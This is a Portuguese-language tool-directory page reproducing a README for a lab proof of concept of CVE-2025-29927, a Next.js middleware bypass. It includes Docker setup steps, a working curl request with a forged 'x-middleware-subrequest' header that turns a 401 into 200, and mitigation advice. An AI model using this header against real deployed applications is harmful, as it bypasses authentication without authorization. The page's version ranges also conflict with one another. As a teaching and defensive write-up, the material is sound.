Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — Uma Prova de Conceito para CVE-2025-29927 demonstrando um bypass de middleware em versões do Next.js anteriores à 13.5.9 | Kitploit
Ferramentas/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e Educação
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

Uma Prova de Conceito para CVE-2025-29927 demonstrando um bypass de middleware em versões do Next.js anteriores à 13.5.9

Ver Repositório
12há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC: CVE-2025-29927 - Bypass de Middleware no Next.js

Este repositório contém uma Prova de Conceito (PoC) demonstrando como contornar verificações de segurança de middleware no Next.js (v13.5.6) ao explorar uma vulnerabilidade relacionada a cabeçalhos HTTP internos.

Visão Geral da Vulnerabilidade: CVE-2025-29927

O que é?

O CVE-2025-29927 é uma vulnerabilidade de Bypass de Middleware encontrada nas versões do Next.js 1.11.4 e anteriores às versões 12.3.5, 13.5.9, 14.2.25 e 15.2.3. Ela permite que um atacante externo ignore a lógica de segurança — como autenticação, detecção de bots ou redirecionamentos de geolocalização — que um desenvolvedor implementou em seu arquivo middleware.ts.

A Causa Raiz: Confiança nos Cabeçalhos

O Next.js usa cabeçalhos HTTP internos para se comunicar entre suas diferentes camadas arquiteturais. Um desses cabeçalhos é o x-middleware-subrequest.

A vulnerabilidade existe porque versões vulneráveis do Next.js confiam nesse cabeçalho mesmo quando ele é enviado por um cliente externo (como um navegador ou curl). Quando o servidor vê esse cabeçalho, ele assume que a requisição já foi processada e "liberada" pelo middleware, então ele pula a execução do seu código de segurança por completo.

Impacto

  • Bypass de Autenticação: Se o seu aplicativo depende do middleware para verificar tokens de login, um atacante pode contornar essa verificação para acessar páginas protegidas.
  • Evasão de Filtros de Segurança: Qualquer lógica destinada a bloquear IPs ou user agents maliciosos é ignorada.
  • Divulgação de Informações: Acesso a rotas internas que deveriam ser restritas.

Configuração do Ambiente

O laboratório está sendo executado dentro de um contêiner Docker Node:18-alpine para garantir um ambiente limpo e reproduzível


Passo 1 – Criar o Contêiner

Começamos subindo um contêiner nomeado em segundo plano. Usamos sleep infinity para manter o contêiner ativo durante a configuração.

Eu inicialmente encontrei alguns problemas ao reiniciar meu contêiner nas etapas posteriores, por isso decidi usar sleep infinity

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Passo 1

Passo 2 – Instalar o Next.js 13.5.6

Instalamos a versão vulnerável específica do Next.js. Observe que, apesar da flag --src-dir false, o framework cria um diretório src, que é onde devemos colocar nosso middleware para que ele fique ativo.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Passo 2.1
Passo 2.2

Passo 3 – Criar o "Guardião" (Middleware)

Para simular uma barreira de segurança, criamos um arquivo middleware.ts. Este middleware está configurado para bloquear todas as requisições recebidas com um status 401 Não Autorizado.

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Passo 3

Passo 4 – Iniciar o Servidor

Inicie o servidor de desenvolvimento e aguarde o sinal ✓ Ready no console.

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Passo 4

Passo 5 – Verificação e Exploração

Abra uma nova janela de terminal (não feche o terminal anterior) em sua máquina host para testar o ambiente usando curl.

1. Requisição Normal (Bloqueada)

Uma requisição padrão, sem cabeçalhos modificados, é corretamente capturada e bloqueada pelo nosso middleware.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. Bypass via CVE-2025-29927 (Exploração)

Ao injetar o cabeçalho interno x-middleware-subrequest: src/middleware, enganamos o Next.js fazendo-o acreditar que a requisição já foi verificada por um processo interno. O servidor ignora a execução do middleware e concede acesso total.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Passo 5

Mitigação

Para proteger seu aplicativo contra o CVE-2025-29927, você deve atualizar o Next.js para a versão corrigida correspondente à sua versão principal (major) atual:

1. Atualizações Recomendadas

A vulnerabilidade é resolvida nas seguintes versões. Garanta que seu package.json reflita pelo menos estas versões:

  • Next.js 15: Atualize para 15.2.3 ou posterior.
  • Next.js 14: Atualize para 14.2.25 ou posterior.
  • Next.js 13: Atualize para 13.5.9 ou posterior (a versão usada nesta PoC).
  • Next.js 12: Atualize para 12.3.5 ou posterior.
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. Defesa em Nível de Infraestrutura

Se uma atualização imediata não for possível, você deve configurar seu Web Application Firewall (WAF) ou Reverse Proxy (por exemplo, Nginx, Cloudflare ou Varnish) para remover ou descartar o cabeçalho x-middleware-subrequest de todas as requisições externas recebidas antes que elas cheguem ao servidor de aplicação Next.js.

3. Verificação

Após a atualização, você pode verificar a correção executando novamente o comando de exploração do Passo 5. Um servidor corrigido não concederá mais um 200 OK quando o cabeçalho forjado estiver presente.


Conclusão

Esta vulnerabilidade existe porque o Next.js confia em cabeçalhos do lado do cliente para identificar sub-requisições internas. Para mitigar isso, o Next.js deve ser atualizado para uma versão que valide ou remova adequadamente esses cabeçalhos internos do tráfego externo recebido.

Aviso Legal: Esta PoC é apenas para fins educacionais.

Referências

  • Entrada Oficial do NVD: Detalhes do CVE-2025-29927 - Confirma as versões afetadas 13.5.1 a 13.5.8 e a correção na 13.5.9.
  • Aviso de Segurança do GitHub: GHSA-65p9-6799-7872 - O aviso original sobre o bypass de middleware.
  • Comunicados de Segurança do Next.js: Blog do Next.js - Anúncio oficial dos patches de segurança.
Baixar ferramenta